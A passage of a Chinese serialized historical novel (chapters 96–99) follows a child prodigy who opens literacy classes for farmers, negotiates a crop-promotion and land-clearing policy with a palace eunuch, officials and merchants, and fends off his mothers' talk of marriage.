见一道白衣胜雪的影子走来,沈二柱顿时脸上一喜:“小贵人!” 周盈颔首一笑,走上前台:“诸位心里的担忧我都明白,但教你们读书写字,也是大事情。” “咱们种了田,得交税,这税怎么交,全靠那些胥吏一张嘴说,大家都不懂,也就这样稀里糊涂的交上去了。” 这话说的不少人脸色动容了一些,原先那些茫然不解的农户,这会儿也都抬起了头。 巡视一圈,周盈继续道:“但有的时候交的少,有的时候怎么偏偏就要多交呢?大家有没有想过这件事情 ?” “你们拿粮食去卖的时候,为什么总是卖的那么便宜,大家有想过没有?” 一众人眨着眼睛,有些迟疑,有些迷惘。黢黑的脸上,是风霜雨打的痕迹,也是太阳折射下,烧灼出的大地之色。 但他们眼睛有些亮堂,也有些闪烁起了光彩。 “我知道现在你们心里有了想法。” “是,教你们识字,就是为了解决你们心中,一直疑惑,一直不理解的问题。” 周盈笑了笑,又言:“本事学到自己身上,才能保护自己,我将来不一定会留在这,但你们会算账了,你们的孩子能读书考功名,这就给你们自己的保障。” “……”一群农户,这会儿都有些不敢置信。从来没有一个人,会这样对他们说话。 “这、这…可,咱们没钱交识字的费用啊。” “不用交钱,是义学,晚上抽一个时辰,也不耽搁大家。” 说到这,不少人眼眶一红。 沈二柱唇颤了颤:“这是天大的功德!是菩萨看咱们过得苦,派了小贵人来!” “小贵人!” 一时间,这群农户里,便有不少人,都开始喊了起来。站在一旁的赵管家见状,脸上神情复杂,也有点儿尴尬。 这事情办的……直接让小少爷撞上了!他真是百口莫辩了… “赵管家。” “哎!小少爷,有何吩咐?” 周盈转向他:“好好把事情办了,这些农户识字越多,孩子们成绩越好。给你的俸禄,都能再谈,我找老祖宗拟个章程,按绩效分。” 这话炸的赵管家呆愣了一会儿。 “事情办的漂亮,拿的钱就多,你这心里也舒坦。” 他手抖了抖,咽了咽口水,朝着周盈猛行了一礼:“小的一定办到!小少爷放心!” 闻言,周盈负手,看着他颔首。 临近中午,这才从劝农司大门走了出来。一上车,马夫便赶着马,朝着三甲酒楼走去。 大街上,人来人往。 周盈坐在车里,思忖接下来的事情。 也该到了真上战场的时候了。 酒楼旁轿厅内,这会儿早都停满了各色各样的轿子。 从里头下来的张智林,头戴乌纱帽,身着青蓝官袍。这些日子里,关于国策的事情,也是叫他愁的头发一把一把掉。 本就四五十岁的人了,眼看着头发都比先前白了不少!差事不好办啊! 不过好在是,朝里来了人,他倒是有个人分担压力了。 转头看过去,只见从另一轿子里走出来的一道身影高大,但脸上未蓄胡子,身着件寻常的青白色圆领,乍一看,跟普通人毫无区别。 但细瞧,便觉着料子不凡,在太阳下泛出浅金纹路。 此人生的五官周正,一双眼睛瞥了周围一眼,皱着眉,往前走了几步。 “高公公,咱们到了。” 高烨闻言,点了点头,也不说什么。 于是一行人,从轿厅出发,一路跟着仆从穿过院子、大厅。 “这个周神童来路,你倒是跟我说清楚了。可我怎么都想不明白,怎么有人,胆子能这么大?” 96.第 96 章 “胆敢公然叫板皇上钦封的巡盐御史?” 说着话,高烨转头看了一眼张智林。 对方呵呵一笑:“呃…这事儿说起来,倒也稀奇。是这样的……” 张智林想着话头,一边说:“那周神童、郭神童,原是杭州人,因七年前……” 两人一边走,一边把周盈的身世都说了一遍。 这么听着,高烨叹了口气,声音尖尖的。 “倒也是个出了名的大孝子,万岁爷喜欢这样的人。” “聪明、懂事、孝顺,最重要的……”说着,他看了一眼张智林,后者陪着笑,但很显然有点儿紧张。 高烨笑了笑,话语间暗含深意:“张大人别那么紧张。我是说,谁办了事,办好了事情,谁就是万岁爷的心头宝。” “是,高公公说的是。”张智林点了点头,心里则打着鼓,只希望这高烨,可千万别找他麻烦。 “到了。” “嗯,咱们进去吧。” 包厢内,周盈正襟危坐,左右两侧首先是张耀芳,随后是杨岳,其次是他的那帮淮阳盐商兄弟,再有沈峰、林逸等一行人。 能来的都来了。 不来的那些,也有不少。 不过这事不勉强所有人,因此,周盈看到来的人今天还能坐满一大桌,也是有点儿惊讶的。 听着外头动静,紧接着张智林声音响起:“高公公,请。” 屋内,周盈抬头看了过去。 那高烨绕过屏风,见着一群人,笑呵呵的,半点都不端着架子,只是看了一圈,最后目光落在了周盈身上。 拱手:“周神童,久仰大名了。” 周盈起身:“不敢,高公公来山阴县三日有余,我却一直未曾拜见,说来倒还是我失礼了。” 高烨摆手:“说的什么话,咱都是为万岁爷办的事情。” 再看了一眼站起来的一群人,笑得也就真切了一些。 张耀芳笑着开口道:“高公公,咱们国策推行,也离不开这地方的商贾乡绅,能请的,愿意来的,这也都到场了,开始谈事吧?” 高烨闻言,也不推脱,走进席位。 但他继续开口说话的说时候,是朝着周盈看过去的。只见高烨语气缓和,甚至带点儿亲近:“周神童,这国策,万岁爷很看重。” “你上供的这‘嘉种’,万岁爷左看右看,喜欢的不得了啊!” 在座的都是人精,高烨这话说出口,立刻心里都开始琢磨了起来。好歹是内廷出来的人,是皇上亲自派遣的,能说出这番话,那必然是受了皇上的旨的。 沈峰神情有些复杂,心里既是庆幸,也带了几分后怕。今早他还纠结着到底要不要来,再三忐忑,眼看着都快到午时了,还是他儿子催着,这才咬牙赶了过来。 这一趟,来值了! 张耀芳眯着眼,一丝精光闪过之间,目光一直黏在周盈身上,半点都挪不开了。 被一伙老狐狸这么看着,周盈这会儿饭是肯定吃不下去了。放下筷子,他脸上带了些感慨和复杂。 “蒙皇上圣恩,得‘孝童’之封赏。可这番薯和玉米,却也并非是我种出来的,而是那些农民,一颗一颗埋进土里生出来的。” “因而,我不敢邀功,也不敢骄傲。” 说到这里,周盈笑了笑,看着高烨的目光,干净而真诚:“国策之事,说来倒也有趣。” “哦?”高烨有些不解和好奇了。 周盈看了一圈众人,反而是说起了一件事情:“佃农种田,却吃不饱饭,交了税,养不活家里人。” “这事情,我笔笔帐算下来,也觉触目惊心,让人闻之胆寒。索性,先前我娘种的番薯和玉米,弄出了些名堂,既能果腹,又能酿酒、做些干粮。这才想着……能不能让人种种看。” “但种出来了,要怎么办?这就又是个问题了。” 他笑了笑:“咱们这些人要做的事情,就是帮这些农户,解决掉种出来的番薯和玉米。” 屋里一帮人听了,脸色各异。张耀芳闻言倒是笑着开口:“周神童所言正是,玉米能酿酒,番薯种了能晒干、磨粉,都是可以果腹的东西,便是将来闹灾荒了,也不至于饿死人。” “是极。国策推行,不单是为了带着大家伙搞钱,更重要的,还是为了让更多人吃饱饭,让朝廷有税能收,也让……” 说到这,周盈拿起杯子,站起身,朝着高烨敬道:“高公公好交差。” 高烨见状,心里一掂量,嘿!这小神童,说话倒还真是好听着,果然名不虚传啊。 他笑眯眯,举着杯子,眼里都带了几分欣赏:“好!当真好!我呢……来这山阴县一趟,主要还是给皇上办差。” 说着话,高烨一口干了。 随后又道:“既是周神童牵头,张大人…咱们地方,也得配合着不是?” 张智林颔首:“这是自然,县衙里的人也都安排好了,这事情,一拍板,咱们就能推下去。” “嗯,那就把条例拿出来谈谈,没问题的,诸位都签了,到时候,一式三份,县衙一份,布政司一份,还有一份,我得带回宫里头。” “高公公说的是。”张智林说着话,朝身后人使了个眼色,那胥吏便上前一步,将契约纸张拿了过来。 “诸位,请看。” 最先拿到的是沈峰,他眯着眼,看着上头的白纸黑字,倒是和先前周盈所言不差。 末了,他顿了顿,迟疑着,看了张智林和高烨一眼,随后开口询问了一句:“敢问,这荒田开垦的条例,怎么没写上去?” 嗯? 一帮人听这话,倒也都迟疑了。 周盈听着动静,手上动作是压根没停,他这年纪正是长身体的时候,还没到中午就饿得够呛的。 现在能吃口饭,当然是得抓紧时间吃了,反正谁也不能怪一个七八岁小孩,在饭局上只顾着吃不是? 张智林闻言,迟疑了一会儿:“开垦之事,非同小可,如今‘嘉种’尚未推行成功,我与高公公商量了,若来年收成可观,再行开垦之事。” “诸位都是有些身家的,这事儿一旦办成,来年的一切都好商量。若是办不成,朝廷那边怪罪下来,也都知道是什么下场。” “这……”沈峰开始迟疑了。 这跟说好的不一样啊! 坐在位置上的一帮商贾乡绅,心里也开始嘀咕了,这是不是在坑他们?连杨岳,都朝着周盈看了过去。 结果就看到这小神童,手上筷子不停,嘴里还在咀嚼呢!就把好大一块肉塞了进去。 吃的香喷喷的,半点都没注意到场上的诡异气氛。 周盈:天塌下来都得吃饱饭再谈! 杨岳:…… 一群人你看我我看你的,事情有点冷淡了下来,高烨拿着杯子,眯起眼,目光有些发寒的看着这群人。 他刚要开口说些什么,周盈这边倒是放下了筷子,将嘴里的菜咽下。 “荒田本也没什么用,第一年就大费周章开垦,确实也不划算。” 张智林听了他这话,默默点了点头,心想这小神童还算是机灵,懂事的。 “不过,‘乡济仓’可暂时搁置,关于来年税收,张大人,朝廷是怎么说的?” 这事情之前都谈过,‘乡济仓’本是周盈拿出来压这边不服气的商贾的,也就是从利润里抽点,专用来平粮价的。 不过现在事情都还没推下去,谈这个都太远了,有些东西不适合一开始就弄的。 张智林闻言皱了皱眉头,想说点什么,又碍于边上坐着的高烨。他看了一眼对方,只见高烨是喝着小酒,半点眼神都不给。 心里不免暗骂一句,还真是老狐狸…有风险的事情,是半点都不肯担,只让他开口。 眼看着这帮商贾乡绅的,面色都不太好,再这么僵下去,怕是又要不欢而散。 张智林深吸一口气道:“税减一成,是朝里来的消息,但也有个要求。” “朝廷说了,减税可以,但明年山阴县,必须开荒田三千亩,还得全部种上番薯玉米。” “开不出来,减税取消,还要追咱们的责。” 这话一出口,周盈都抬起了头,心里头的小算盘开始拨起来。 假设一个商贾种一百亩番薯玉米田,那也得缴纳二十石左右的税,减一成便是少交二石,约莫能省下二两银子。 可若按照一亩开荒成本约半至一两来算,开三千亩,保守估计的成本,也不会低于一千五百两。 这包厢里的人,除开高烨、张智林,满打满算,也就十五个。 十五个人,分三千亩地? 疯了? 不、不对…… 周盈深皱起眉,算着这笔账的功夫,屋里头这会儿已经是炸锅! “这、这?三千亩?怎么可能?” “张大人,咱们是来谈生意的,这开垦三千亩荒田的任务,可不会也得要担在咱们身上吧?” “是呀,本来咱们第一年就担着风险,现在都还看不到好处,反倒先背上这么大个债,谁能受得了?” 张耀芳听着屋里的混乱,胃口是彻底没了,脸色阴沉了几分。他当然是会算账的,不但会,还算的极清楚,这分明是朝廷看准了国策这块肥肉,却又不肯少拿点税,只能把后头的压力补上来。 事情,哪有那么好谈的呢。 97.第 97 章 欸! “周神童。此事……此事我等不能签啊!”沈峰本就犹豫,一听到得担这么大风险,顿时就着急了。 被他这样一喊,周盈一笔糊涂账算完,却是没开口,看向了高烨。 对方依旧坐着,什么话都不说,见他看过来,就笑呵呵的。 但周盈绝不会傻到真被这幅表象蒙骗了。方才张智林开口的时候,这家伙可一直不曾表态的,端的是好处自己捞,坏处别人担罢了。 不过这倒也有个好处,好歹高烨不是来砸锅的,他只是怕背锅而已。 周盈思忖了一番,见众人脸色焦急,开口道:“张大人,学生斗胆一问,这三千亩田开出来,归的谁呢?” 听到这话,张智林一愣,似乎是没想到周盈会问这个。屋里十几个人,也都慢慢安静了下来。 周盈也不等他说话,反而是看向了杨岳继续道:“这帐,得仔细算。杨掌柜,我想知道,一亩荒田开成熟田,大概需要多少成本?” 被众人目光包围,杨岳皱着眉,叹了口气,神情间似乎在算着什么。 而后抬头道:“工本约半两到一两左右,三千亩不会低于一千五百两。这笔费用放在谁身上都是大数目。” 周盈心想,这算的和他一样,看来自己没算错。毕竟不是专做这事情的,得先问问才成,否则说错了,那就闹大笑话了。 心里有了底后,周盈说起了第二个重点:“高公公,学生再斗胆问一句,朝廷要的是‘三千亩荒田开出来’,还是要‘三千亩荒田归朝廷’?” 沈峰听了这话,似乎是知道了周盈想说什么,这会儿脸色倒是缓和了一些,将那份契约放在了桌上。 高烨则是眯起眼,这都提到了他,自然是不能再避之不回了。 他没有马上回答,在众人的目光中,反而是陷入了沉思。 但周盈也意料到了,便继续说:“若是归朝廷,那这事情就得户部拨银子,而不是咱们能担的。” “高公公,若是只要开出来,能种上番薯玉米的话,这件事情,那咱们就有法子。” 周盈直接把皮球硬踢给了高烨。 这下,杨岳眼睛都亮了几分,因这里头有大不同!若田不归朝廷,而是在他们手中,这利润就要另算了。 其余一些人,也明白其中道理,这下子就定下了心来,只看高烨到底怎么说了。 高烨皱着眉,目光没有一开始的热切了,扫视了一番周盈,心里只觉,这个看起来年轻的小神童,倒还真是有两把刷子的…… 他若是答“归朝廷”,那就要户部出钱,这事情他就办砸了,交不了差。 但顺着说,后头出了问题,事情还得他担着。 想了想,高烨抿唇,开口道:“万岁爷只是想着百姓没饭吃,这才要求开垦荒田的,我也是奉命办差,真要做起来,还得靠张大人。” 张智林:…… 张智林心里那是策马奔腾。 他呵呵一笑,硬着头皮开口道:“这…本官身为当地父母官,自然,也是希望,百姓们能吃饱饭。这三千亩荒田要开垦,也得要劳诸位费心。” 这就妥了。 周盈点头:“那就是了。这开垦也不是只让一个人去干活,不还有劝农司吗?咱们也可以组织流氓、佃农开垦。这样……开垦出来的田,还能分,多少归劝农司安置农户,多少归大家。” “荒田开出来,种上玉米,百姓有粮,朝廷有税,诸位掌柜也能有田。” “尔等觉得如何?” 杨岳深思间,跟着几个兄弟细细商量着,其余的人,这会儿脸上神情各异,但都没在第一时间开口答应。 周盈拿起筷子,继续吃饭。 刚还没吃饱呢! 张耀芳见他这动作,眼皮也是一跳,心里不免觉得,此子非凡!处波澜而不惊!这么大个事捅出来,都不带怕的,还能有胃口吃饭? 年轻人……身体好啊 张智林见状,心里也是打起鼓来,毕竟这事情办不成,责任在他,因而又开口道:“既是劝农司出人,尔等出钱,便也不要一人全包,一家二百亩,这样算下来,负担也轻些。” 这乍一听三千亩,实在吓人,但折合一人二百亩,倒也不算多。 沈峰听了,脸色也好了不少,将桌上的契约递给身旁的人,轮流审阅间,屋内也没什么人说话。 等一群人都看完了契约,也无人开口提出问题后,张智林悬着的心才算是放了下来。 接下来的事情就是心照不宣了,签约,盖章,一式三份。 高烨笑眯眯的,这第一件事情,总算是办成了,没辜负万岁爷的厚望。 “好了,这事儿算是办妥了,张大人,往后你可得盯着点。” 张智林则将契约收好,放进了怀里,脸上陪着笑:“高公公说的是。来,诸位吃饭、喝酒!” 周盈是真吃饱了,心里不免叹了口气,本是想着,来年开垦荒田,还能想个法子,叫这些田归劝农司所有,这样也免了农户田地被兼并的可能。 太想当然。 朝廷要好处,地方要好处,办事的商贾,也要好处。 好处从哪里来? 只能掰开了算。 一个一个分,大的给朝廷,小的给地方,再有的分商贾,最后……留给百姓。 说来说去,还是因为他现在没那么多本事。 七八岁,连推行国策,都要借着各方势力,才能艰难推动。 虽说是办成了这件事的,但周盈觉得还不够,他得尽快得到权力,这样才能不受制于人。 现在没本事,不代表以后没有。 事情,要一步一步做。 一顿饭你来我往,虚与委蛇之间落下帷幕。 出了门,周盈看了一眼太阳。 阳光刺眼,让他眯起了眼睛。 危机总是伴随机会出现的。 虽说过程有点出乎他的意料。 但来年开垦,劝农司出人,商贾出钱,其中税赋变法的问题,便有插手空间了。 事情谈成了,也该回家了。 吃的有点饱……胀。 这厢,周盈边走边想着事 情,顺道消化消化。那厢,刚吃饱饭,睡上下午觉的郭奉孝,这会儿正美滋滋躺在床上呢。 结果只听“砰——!”一声。 吓得郭嘉猛坐起身,瞪大眼睛一看。 就看到周盈跟个鬼似的,逆着光,穿着一身白衣服,不知道什么时候,就站门口了。 手收回,他皱眉道:“有事找你,你怎么在睡觉?” 郭嘉攥紧拳头,额头青筋暴起:“你、是、不、是、有、病?” 周盈抱着胸,听这语气,都咬牙切齿,恨不得咬他一口,不免的,嘴角一翘,带着点逗人的兴致:“我在那儿跟一帮老狐狸你来我往,你倒好,在这儿享福睡下午觉……欸,真是人比人气死人啊。” 郭奉孝无语了。 “又怎么了?没谈成?” “谈成了。” “谈成你还——” 话说到头,郭嘉猛皱起眉,看向他:“出问题了?” 周盈松了扶在门上的手,脚步跨了进来,脸上表情也有些许的微变,走到一旁凳子上坐下,给自己倒了杯水。 “朝里来了消息,咱们明年得开垦荒田三千亩,否则,这减免的一成税不但得取消,还得连带追责。” 郭嘉脸色一变,这会儿也没心情睡觉了,下了床穿好鞋。 “你把那些荒田分了?” “嗯。也是没有办法,没有好处的事情谁会去做?本来就是朝廷转移给地方的压力和风险,既不出钱也不出人,光出个政策,事情都让地方办。” 说到这,周盈叹了口气,方知政事之难,到底难在何处。 难就难在,条条不利之下,要如何分配好各方的利益,并且把这件事给办成了。 “咱们不能往朝里提要求,就只能在地方算算能分些什么了。既然开垦荒田要这些商户乡绅出力,也就只能给他们多分点,留下的,再给农户们安家。” 听了他说的话,郭嘉大约是明白事情发生的过程,“啧”了一声,语气也有些不爽。 “这皇帝…事情做的,我看着都稀奇。” 周盈笑了笑,看了他一眼:“世道不一样,咱们也就只能融进去。” “能有个政策支持,也算是有朝廷背书了,事情好做,那就行了。至于土地兼并的事情,也就只能慢慢想法子解决了。” “总归是咱们现在本事不够,能做的也就这些。” “来年,还是先把税的问题弄一弄,试试看能不能在山阴县推下去,到时候有了经验,一切就都好办。” 郭嘉叹了口气,听他这么一通话,自然也是明白,变法不是请吃饭,要怎么改是个大问题,改的让大部分人不反对,那就是大本事了。 现在这个条件,谁都不太满意,但谁都能接受,这就够了。能接受就能推,等推下去了,其他的事情才能做。 连头都没起,谈什么推番薯玉米、改税、解决兼并的事情呢? 人是趋利的,不要把人性想太好。 正因两人都明白,也太了解。因而,周盈说完这句话之后,屋里头便陷入了一片寂静。 98.第 98 章 “明年的事情,明年再说。今年咱们也算是把该做的事情都做了。” 放下杯子,周盈站起身,走到门口,转头看了一眼郭嘉。他身影修长,逆光间,雪白的衣衫透了几分光,倒衬出些许飘然遗世般的体态。 “走吧,别在屋里呆着了,咱们去趟劝农司。” “……”郭嘉无语了片刻,能不能让他好好歇个一整天! 这才过了上午,回来就开始逮着他薅! “我不去!我要睡觉,你自个去吧!” 周盈闻言,嘴角一翘,走进来,手一提溜! “哎!”被提溜起来的郭奉孝大喊了一声,随后还不等他多说什么,人就直接被连拖带拽的。 “我鞋!鞋掉了,你让我穿个鞋啊!” 周盈哈哈一笑,看他那表情,乐了。 接下来的几天里头,因政策推行,县衙门外也贴起了改种番薯玉米的告示。 山阴县的百姓们,最近也都谈着这些事情,俨然成了近些天的八卦风口了。 “欸?怎么朝廷突然要咱们种那番薯玉米了?” “那玩意儿不好吃啊,种那干嘛?” “你们不知道了?周寡妇家的玉米酒,就是拿玉米酿的!前些天……还弄出了个什么番薯酒来?我是没尝过,但据说味也还可以!” “啊?我怎么不知道?” “是皇上看咱们吃不饱饭,这才让周神童家里献了‘嘉种’,督促咱们种下去试试看呢!来年收成了,还能拿去卖钱!” “真的?” 张岱路过告示牌,听着一帮人絮絮叨叨的,手里拿着烧饼,这会儿脚步停了下来,眯着眼一瞧。 不免的,嘴角一翘。 “周师弟倒还真有本事!这事儿总算是办妥了!” 见周围聚过来的人越来越多,张岱干脆给让了个位置。 一想到为了这事情,几个人费了多大劲,不免的也有些感慨。真想做成一件事情,原来是这么的难,总有各种各样的问题出现,也总有各种稀奇古怪的意外。 要解决农户生计,就得帮着牵头搭桥。要牵头搭桥,那就得让商贾乡绅看到好处。 这还不够,还得朝里答应,答应了才算有政策背书,但谁去做? 地方官。 这一整条流程下来,都快三个月去了。 但张岱不知道,这还算顺利的。 潘岳私塾内。 周盈和郭嘉,自打回了山阴县后,就已经成了大名人了。 一进私塾大门,这帮师兄师弟的,顿时全都围聚了上来! 有开心的:“周师弟!听说你联考中了魁首!” 有好奇的:“郭师弟,听闻联考的时候,你们把那帮阳和书院的人,打的都抬不起头了?是真的吗?” 还有…… “那帮鼻孔朝天的,这会儿是知道咱们潘岳私塾的厉害了!” “就是!我跟你们说,当时辩场上,证人书院、阳和书院的人轮番上阵,说的那头头是道!专盯着咱们打!” “啊?!那后来呢?” “后来?自然是被周师弟开口立论,炸的分不清东南西北了!” 这人说着,尾巴都翘起来了。把一帮师兄师弟说的是一愣一愣。 故事谁都爱听,更别提这故事的主人公就在自己身边呢! 周盈看着一帮人瞎胡闹,也不免忍俊不禁。郭嘉嫌烦,至于吗! 不就是一个联考? 赢了就赢了呗。 “咳咳!” 走出来的陈父子,见广场上围了一片人,严肃轻咳间,一群学生顿时站直了身体。 “夫子。” 陈父子身后跟着的其他几个夫子,这会儿脸上神情各异,看了一眼在场的学生们,目光落到周盈和郭嘉的时候,便更复杂了。 “好了,还要闹到什么时候?你看看你们的周师弟、郭师弟,才几岁,就能在绍兴联考夺得魁首了!” “你们呢!瞎胡闹,功课温习的如何了?” “……”夫子你这话说的,那人能跟天才比吗? 学生们心里嘀咕归嘀咕,但也没有人真开口说话。 陈父子叹了口气,恨铁不成钢道:“我教书这些年,你们啊……实在是我教过,最不务正业的一帮学生。” 呃… “我看一直让你们在私塾里呆着,也成不了器,这样吧。” “我跟夫子们商量过了,接下来一年的时间里,私塾轮流出人,去试验田里学习,事必躬亲!每三天换一批,到时候月末小考,每人写一篇策论交上来。” “???”学生们不可置信。 “夫、夫子!这…于理不合吧?” “什么不合?你看看你们的小师弟,两个人种田种的,把皇上都惊到了!你们呢?读个书,连秀才都考不上!羞不羞啊?” 嘶…… 这话说的,怎么让人反驳呢? 没法反驳啊! 但人怎么可以跟天才比? 太耍流氓了! 学生们哀嚎:“夫子,咱们哪里会种田,去一个下午都要命了,三天……这…” “嚎什么?那你们的小师弟,七年都是这么过来的!人家怎么没嚎?” 周盈:…… 郭嘉:…… 感觉到周围幽怨的目光,两个人不免心里呵呵一笑。夫子你这话说的,太拉仇恨了。 话说两头。 周盈郭嘉在这读书的功夫,那边,番薯玉米的行得可谓是如火如荼。 郭府的田地,这会儿都被沈二柱等人翻了一遍,一行人忙活了一下午。走到路边喝了口水,擦了擦汗。 农民们没有那么多的心思和想法。只要田里有东西就好,最怕就是什么都不让种! 现在这地该肥的肥了,该翻的也翻了,就等来年开了春,种下去,长出番薯和玉米! 这事就成了! 走在路边的几个胥吏,皱着眉,低头在账簿上写了什么。 “沈二柱,今儿得翻三十亩地,你翻的怎么样了?” 原来,是县衙差遣过来,专看着进度的! 沈二柱一闻言,擦了擦手,忙笑道:“刚浇了肥,填了麦秆!差爷你看,这土刚盖上呢!” 胥吏闻言,点了点头:“行了,今天你任务完成了,可以歇着了。” “好嘞!” 这一圈下来,今天种了多少,还差多少 ,白字黑字,全都记在案上。 走在田边的张智林,见着这副场景,也不免颔首一笑。好啊……事情总算是推下来了,只要等明年有收成了,开垦荒田的事情,也就好谈了。 是夜。 忙活了一整天,刚吃饱饭的农户们,带着自己家里头的孩子,坐在劝农司刚搭建起来的蒙学班里。 说来也是有些坎坷的。 一些农户觉得这事情没什么大不了,大晚上倒不如多睡会儿觉,造个小人。 第一课就没来。 结果这事情被郭嘉知道之后,发了通火。非得盯着,不来的全都得拉过来上课。 赵管家也是叫苦不迭啊! 那人家不想学,还得逼着? 郭嘉不理会他那点哭号,总之事情必须得办,怎么办就看自己本事。不然绩效就别想要了。 赵管家一听这话,心里也是策马奔腾了。两个小少爷,性格大不一样,一个好说话,一个不好说话。 一个能体恤你的苦,一个压根不管,只要结果! 欸……苦差事,也得办! 为了自己那点小钱钱,赵管家可谓是想秃头了,这不,才第三天,人就全到齐了! 油灯下,匍匐在桌前的大人、小孩,听着前头夫子讲话声音,目光间,那烛火摇曳,竟照的眼睛增亮,星火闪烁。 夫子是个五六十的秀才,开口说话的声音不大,但屋里很安静,大家都能听得一清二楚。 “今天,咱们学《小学》……” 说着话,一群人就把书翻开了,看着上头泥鳅一样的方块黑字,有的孩子不免得就昏昏欲睡。 还有的压根坐不住! “哐当!”一声响。 起身的小孩被身旁坐着的爹猛拽了回来:“臭小子!” 众人目光过去,那汉子陪笑间,把孩子拽回到位置上,手抄起,直接一巴掌拍了过去。 “哇——” 呃……来是都来了,但时常,会有那么一两件小意外。 看着屋内一番动乱,周盈莞尔。 赵管家擦了擦额头的汗,脸上都带着些苦相了:“小少爷,这事儿…我也就只能办成这样了。” “你做得很好,等明儿早上,去账房领个赏。” 这话一出口,赵管家瞪大眼睛,张了张嘴,紧接着脸上喜色挂上:“欸!咱不累!小少爷体恤咱!” 郭嘉心里“啧”了一声,但也没说什么。赏吧赏吧,反正花的也不是他们的钱。 不心疼。 转悠了一圈,周盈看着没什么大问题后,这才和郭嘉走出劝农司。 “总算是把该办的事情都办好了,累死我了!” 这些天忙前忙后的,郭奉孝感觉他整个人精气神都要被抽干了。 听他这话说出口,周盈也跟着笑了笑:“那接下来,奉孝可有时间休息了。” 两个人在车上拌嘴,不过多时就到了周府门口,夜色下,两个灯笼挂在牌匾下,照的路口亮堂。 周盈下了车,走进门的时候,已是月挂树上。郭怡在院子里喂着蚕,一见两人回来,擦着手笑着说道:“回来了?饭热着呢,先去吃饭,等会你娘\周娘,找你们有事谈。” 99.第 99 章 嗯? 两个人都有些稀奇。 “什么事情?这么神秘?” 郭怡笑了笑,没有直接回答,反而是转身进了厨房。把周盈和郭嘉看的有些脊背一凉。 “不会是…关于咱们的,终身大事?” “……”最好不要是这个。 周盈心里呵呵一笑,他是真不想谈这个。但事情总归是要解决的,也不能光躲不是? “要是周娘提起来怎么办?咱们说…不想?” 这肯定不行。要是说不想,那不得了了,得追问你为啥不想。成家立业那是人生大事,怎么可以不想呢? 周盈叹了口气:“找个孩子过继吧。” 郭嘉挑眉:“你这也没理由啊。” “啊?什么理由?” 周盈没反应过来他在说什么,但看郭奉孝眼里戏谑一闪而过。 随后眼睛一瞄,往下……嗯,腰细腿长,挺拔有力。 看着不像是有问题的。 周盈:“……?” 周盈嘴角一抽,拂袖往前走去。 “哎、哎!害羞了啊?”郭嘉那可太欠抽了,见他落荒而逃的架势,哈哈一笑,还非得小跑着跟上来。 “别害羞啊!” “有病!” 一听周盈这话,他笑的更大声了。 “汝瑛哥哥~别跑呀!聊聊怎么了?所谓食色性也,躲什么?” 周盈都给他气笑了,真是混不吝的! 周瑶听着外头大闹笑声,戴着一副眼镜,手拿着账本就走了出来。 “哟,回来了?” “来来来,等着你们吃饭呢!” 两人脸色微变,眼看着周瑶进屋放东西,对视一眼间,心都提了起来。 “站着干嘛?坐下吃饭啊?” 郭怡端着饭菜,一进门就看到这俩杵在这跟门神一样。 “怎么了?可是哪儿不舒服?” “啊……没有啊。”郭嘉上前一步坐到椅子上。 周瑶走了出来,手上解开自己的攀膊,笑呵呵的开口道:“儿,娘要跟你们说件事情。” 终于是要来了… 两个人硬着头皮,也没说什么,手拿着筷子,心里却总归是有些紧张。 郭怡看着自家儿子,平日里吃饭可香乎了,今儿晚上,咬着筷子,也不知道在掂量什么,一块肉咬了两三口都没吃完。 不免迟疑:“菜不合胃口?” “啊,不是。娘,你们到底有什么事情啊?” 周瑶坐了下来,拿起碗筷,眼睛一眨间,看着两个小的一副正色的表情,心里也是稀奇。 她就是想提一提,关于女学的事情。 本也不是她想说的,是那几个在她家帮着干活的妇人提起的事情。说是家里有几个孩子,也有女孩,听说劝农司开了蒙学班,不知点能不能送进去也让学学。 周瑶一听,觉得这好事啊。 教姑娘们读书识字,将来便是不靠着别人,自己有点本事,也能养活自己。 会算账可是一门学问! 她吃过苦头,知道谁都靠不住,凡事只能靠自己,因此这事儿,她便想着能办,要办。 再说了,现在活越来越多,总归是要培养点自己人才行,否则账都算不过来。 这么一合计下,便想着晚上跟儿子们商量商量。 怎么?这俩混小子,难不成早知道了? 她看向郭怡,对方摇了摇头。 “吾儿,娘就是想说,咱们酒坊那么多姑娘,眼巴巴看着劝农司开了蒙学班,好些人跟我提,也想把孩子送去学习呢。” 周瑶这话说出来,两人顿时一愣。 “欸?怎么了?” “呃、呃……没什么,原来是这件事啊。” “啊哈哈…这么小的事情,弄这么神秘干嘛。” 周盈笑了笑,郭嘉也笑了笑,两个人心里嘀咕,不过也松了口气。 周瑶则是“嘿”了一声,手放下筷子,看着低下头的两个小子,觉出不对劲了。 眯着眼开口道:“怎么?你们想到哪去了?” “没有啊。” 眼看着周盈脸上闪过的一丝心虚,当妈的,能看不出来他心里头有鬼? 周瑶眼睛一瞥间,心里想到了什么:“哦,我倒是想着,顺道啊,也得给你们把人生大事定下来了。” “……” “……” “怎么?不想?” 周盈闻言,心里嘀咕,放下碗筷:“娘,咱们都还没个功名,提这个太早了。” “嗯嗯嗯,俺也一样。” 看他这小表情,周瑶眼里带着几分笑:“这街坊邻居,都传咱家是天上麒麟子下凡,媒婆上门提亲的事情,你们是没见着。” “欸…娘都给你们打回去了。” 嗯? 两人抬起了点儿头。 “我跟二嫂都看出来了,你们现在的心思,也不在这小事上头。也不想拿这事情打扰你们。” 周盈听着这话,心里一暖。 “娘…我们……” “你先别说,听我把话说完。” “……” “你们现在年纪小,心思扑在学业上,也是应该的。再大些,也该想着成家的事情了。” “……” 眼看两人又不说话了。周瑶跟郭怡对视了一眼,心里叹了口气。 “娘不是要逼你们。只是担心你们将来没个倚靠,老了谁送终呢?” 郭嘉心里嘀咕,送什么终! 他躺家里是个死,躺外面也是个死,等觉得自己老了,该死了,就挖个坑,坐里头等死,这还免了买棺材的钱呢! 周盈想法比他温和点:“娘,子嗣的事情都好商量,但你儿子,不想随便找个人,也不想辜负别人。将来出去闯,让人守活寡的事情,我是办不到的。” “跟不喜欢的人成家,我也是办不到的。” 周瑶闻言,脸上神情也有了些变化:“欸…你这孩子,从小到大都不让人操心,娘也就是随口一提,将来这家还是得你们撑。” “你现在不想,也就不提了,等什么时候想了,再说吧。” 郭嘉抬头一瞄,心想这么好说话? 周盈低头深思,想了想,深吸一口气道:“子嗣的事情,孩子都想好了。” “嗯?” “等将来,过继个郭氏的孩子。” “……” “……” “……” 周瑶手上一抖,当啷一声,碗筷掉在地上了。郭怡忙放下筷子:“咱们过继做什么?盈儿,这人生大事怎么能这样弄呢?” “娘,郭娘,你们先听我把话说完。” 